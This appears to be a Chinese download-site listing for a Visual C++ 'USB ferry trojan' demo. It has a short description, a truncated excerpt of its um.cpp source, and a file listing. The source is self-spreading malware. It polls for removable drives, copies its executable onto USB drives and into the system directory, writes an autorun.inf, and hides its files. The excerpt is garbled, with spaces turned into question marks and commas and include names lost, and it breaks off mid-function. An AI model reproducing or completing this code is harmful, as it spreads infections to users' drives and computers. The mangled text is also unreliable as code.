資源簡介
vc編寫的u盤擺渡木馬演示程序,調試通過,可演示木馬感染u盤的過程,也可演示感染電腦的過程

代碼片段和文件信息
#include?
#include?
#include?
#include?
#define?TIMER?1//計時器
#define?WM_FROMC?WM_USER+0//自定義消息 從C盤中啟動
#define?WM_FROMU?WM_USER+1//自定義消息 從U盤中啟動
//function?
LRESULT?CALLBACK?WndProc(HWND?UINT?WPARAM?LPARAM);//窗口過程
//病毒從U盤啟動時用到的函數
BOOL?FileExist(TCHAR?*path);//測試一個文件是否存在
BOOL?GetSelfPath(TCHAR?*path);//Get?the?virus“s?path
BOOL?FindU(TCHAR?*u);//check?whether?u?exist?u[2]
BOOL?GetSysPath(TCHAR?*path);//得到系統路徑
BOOL?CopyToSysAndSet(HWND?hwnd);//復制自身到系統目錄和設置
BOOL?SetFileAttrib(TCHAR?*path);//設置path所指文件的屬性
//BOOL?RegAutoRun(TCHAR?*path);//修改注冊表,實現自啟動
//從C盤啟動時用到函數
BOOL?CopyToUAndSet();//復制自己到U盤
BOOL?CreateAutoRunFile(TCHAR?*path);//在U盤下生成autorun.inf文件
BOOL?FindSelf();//測試自己是否在已經執行了
//global?variable
TCHAR?szExePath[MAX_PATH];//the?virus“s?path
TCHAR?U[2];//保存U盤的盤符
TCHAR?szSysPath[MAX_PATH];//system?path
//constant?
const?TCHAR?*szExeName=“um.exe“;
const?TCHAR?*szAutoRunFile=“AutoRun.inf“;
int?WINAPI?WinMain?(HINSTANCE?hInstance?HINSTANCE?hPrevInstanceLPSTR?
szCmdLine?int?iCmdShow)
{
static?TCHAR?szAppName[]=TEXT?(“virus“);
HWND?hwnd;
MSG?msg;
WNDCLASS?wndclass;
wndclass.style=0;
wndclass.lpfnWndProc=WndProc;
wndclass.cbClsExtra=0;
wndclass.cbWndExtra=0;
wndclass.hInstance=hInstance;
wndclass.hIcon=0;
wndclass.hCursor=0;
wndclass.hbrBackground=0;
wndclass.lpszMenuName=NULL;
wndclass.lpszClassName=szAppName;
if?(!RegisterClass?(&wndclass))
{
MessageBox?(NULLTEXT(“Program?requires?Windows?NT!“)szAppNameMB_IConerror);
return?0;
}
hwnd?=?CreateWindow?(szAppName?NULLWS_DISABLED0000NULL?NULLhInstance?NULL);
while?(GetMessage(&msg?NULL?0?0))
{
TranslateMessage?(&msg);
DispatchMessage?(&msg);
}
return?msg.wParam;
}
LRESULT?CALLBACK?WndProc?(HWND?hwnd?UINT?message?WPARAM?wParamLPARAM?
lParam)
{
switch(message)
{
//?處理一些要下面要用到的全局變量
case?WM_CREATE:
GetSysPath(szSysPath);//得到系統路徑
SetTimer(hwndTIMER5000NULL);//啟動計時器
GetSelfPath(szExePath);//得到自身的路徑
return?0;
//timer?message?
case?WM_TIMER:
if(szExePath[0]==‘D‘)
{
if(FindU(U))
{
SendMessage(hwndWM_FROMC00);
}
}
else
SendMessage(hwndWM_FROMU00);
return?0;
case?WM_FROMC:
CopyToUAndSet();
return?0;
case?WM_FROMU:
CopyToSysAndSet(hwnd);
return?0;
case?WM_DESTROY:
KillTimer(hwndTIMER);
PostQuitMessage(0);
return?0;
}
return?::DefWindowProc(hwnd?message?wParam?lParam);
}
BOOL?GetSelfPath(TCHAR?*path)
{
if(GetModuleFileName(NULLpathMAX_PATH))//得到程序自身的目錄
{
return?TRUE;
}
else?
return?FALSE;
}
BOOL?FindU(TCHAR?*u)
{
u[1]=‘:‘;
for(char?d=‘C‘;d<=‘Z‘;d++)//遍歷C到Z
{
????u[0]=d;
????if(GetDriveType(u)==DRIVE_REMOVABLE)//判斷是不是可移動的盤
???? return?TRUE;
}
return?FALSE;
}?
BOOL?GetSysPath(TCHAR?*path)
{
return?GetSystemDirectory(pathMAX_PATH);//得到系統路徑
}
BOOL?CopyToSysAndSet(HWND?hwnd)
{?
TCHAR?szPath[MAX_PATH];
lstrcpy(szPath“d:“);
lstrcat(szPath“\\“);
lstrcat(szPathszExeName);//
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件???????5263??2007-03-20?22:06??um\um.cpp
?????文件???????3914??2007-03-20?14:17??um\um.dsp
?????文件????????529??2007-03-20?13:04??um\um.dsw
?????文件??????41984??2007-03-20?22:06??um\um.ncb
?????文件??????50688??2007-03-20?22:06??um\um.opt
?????文件????????874??2007-03-20?20:52??um\um.plg
?????目錄??????????0??2007-03-22?08:40??um
-----------?---------??----------?-----??----
???????????????103470????????????????????8
評論
共有 條評論